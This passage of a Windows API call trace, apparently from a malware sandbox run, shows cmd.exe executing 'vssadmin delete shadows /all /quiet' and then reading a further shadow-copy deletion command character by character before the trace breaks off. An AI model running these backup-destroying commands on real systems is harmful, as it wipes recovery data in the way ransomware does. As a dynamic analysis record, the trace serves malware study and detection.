_String2="PSModul", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0157.639] GetProcessHeap () returned 0x262f5940000 [0157.639] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5946ef0) returned 1 [0157.639] GetProcessHeap () returned 0x262f5940000 [0157.639] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x12) returned 0x262f5946ef0 [0157.639] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.639] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0157.639] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.639] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0 [0157.639] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x8e844ff360*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8e844ff338 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x8e844ff338*(hProcess=0x98, hThread=0x94, dwProcessId=0xc10, dwThreadId=0x37c)) returned 1 [0157.655] CloseHandle (hObject=0x94) returned 1 [0157.655] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0157.656] GetProcessHeap () returned 0x262f5940000 [0157.656] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5945a10) returned 1 [0157.656] GetEnvironmentStringsW () returned 0x262f5945a10* [0157.656] GetProcessHeap () returned 0x262f5940000 [0157.656] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xac4) returned 0x262f59594f0 [0157.656] FreeEnvironmentStringsA (penv="=") returned 1 [0157.656] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe8a6d0000 [0157.656] GetProcAddress (hModule=0x7ffe8a6d0000, lpProcName="NtQueryInformationProcess") returned 0x7ffe8a7756b0 [0157.656] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x8e844fe838, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8e844fe838, ReturnLength=0x0) returned 0x0 [0157.656] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xfc3408e000, lpBuffer=0x8e844fe870, nSize=0x7a0, lpNumberOfBytesRead=0x8e844fe830 | out: lpBuffer=0x8e844fe870*, lpNumberOfBytesRead=0x8e844fe830*=0x7a0) returned 1 [0157.656] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0158.377] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x8e844ff2b8 | out: lpExitCode=0x8e844ff2b8*=0x2) returned 1 [0158.377] CloseHandle (hObject=0x98) returned 1 [0158.377] _vsnwprintf (in: _Buffer=0x8e844ff488, _BufferCount=0x13, _Format="%08X", _ArgList=0x8e844ff2c8 | out: _Buffer="00000002") returned 8 [0158.377] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0158.377] GetProcessHeap () returned 0x262f5940000 [0158.377] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f59594f0) returned 1 [0158.377] GetEnvironmentStringsW () returned 0x262f595aac0* [0158.377] GetProcessHeap () returned 0x262f5940000 [0158.377] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xaea) returned 0x262f595b5c0 [0158.377] FreeEnvironmentStringsA (penv="=") returned 1 [0158.378] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0158.378] GetProcessHeap () returned 0x262f5940000 [0158.378] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f595b5c0) returned 1 [0158.378] GetEnvironmentStringsW () returned 0x262f595aac0* [0158.378] GetProcessHeap () returned 0x262f5940000 [0158.378] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xaea) returned 0x262f595b5c0 [0158.379] FreeEnvironmentStringsA (penv="=") returned 1 [0158.379] GetProcessHeap () returned 0x262f5940000 [0158.379] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5946ef0) returned 1 [0158.379] DeleteProcThreadAttributeList (in: lpAttributeList=0x8e844ff440 | out: lpAttributeList=0x8e844ff440) [0158.379] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0158.388] ??_V@YAXPEAX@Z () returned 0x1 [0158.388] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.388] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0158.388] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.388] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6e131fc08 | out: lpMode=0x7ff6e131fc08) returned 0 [0158.388] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.388] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6e131fc0c | out: lpMode=0x7ff6e131fc0c) returned 0 [0158.388] GetConsoleOutputCP () returned 0x1b5 [0158.600] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0158.600] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5959050) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5958e80) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5958cc0) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5958c60) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5958bf0) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5948c00) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5948bb0) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5946c60) returned 1 [0158.602] GetProcessHeap () returned 0x262f5940000 [0158.602] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5946e30) returned 1 [0158.602] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8e844ff868 | out: _Buffer="\r\n") returned 2 [0158.602] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.602] GetFileType (hFile=0x234) returned 0x3 [0158.602] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0158.602] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8e844ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ff838*=0x2, lpOverlapped=0x0) returned 1 [0158.602] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0158.602] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262f5b10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0158.603] _vsnwprintf (in: _Buffer=0x262f5b20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8e844ff878 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0158.603] _vsnwprintf (in: _Buffer=0x262f5b20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x8e844ff878 | out: _Buffer=">") returned 1 [0158.603] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.603] GetFileType (hFile=0x234) returned 0x3 [0158.603] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0158.603] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x8e844ff868, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ff868*=0x14, lpOverlapped=0x0) returned 1 [0158.603] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.603] GetFileType (hFile=0x228) returned 0x3 [0158.603] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.604] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c30, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1 [0158.604] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.611] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c32, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1 [0158.611] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.611] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.611] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c36, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c38, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1 [0158.612] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.612] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c40, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c42, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c44, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c46, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c48, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.613] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1 [0158.613] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.613] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.614] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1 [0158.614] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.702] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.702] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1 [0158.702] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.702] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.702] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c50, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1 [0158.702] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.702] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.702] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c52, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1 [0158.703] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.703] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.703] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c54, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1 [0158.703] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.703] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.703] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c56, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1 [0158.703] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.703] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.703] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c58, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1 [0158.703] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.703] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.703] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1 [0158.704] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.704] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.704] ReadFile (in: 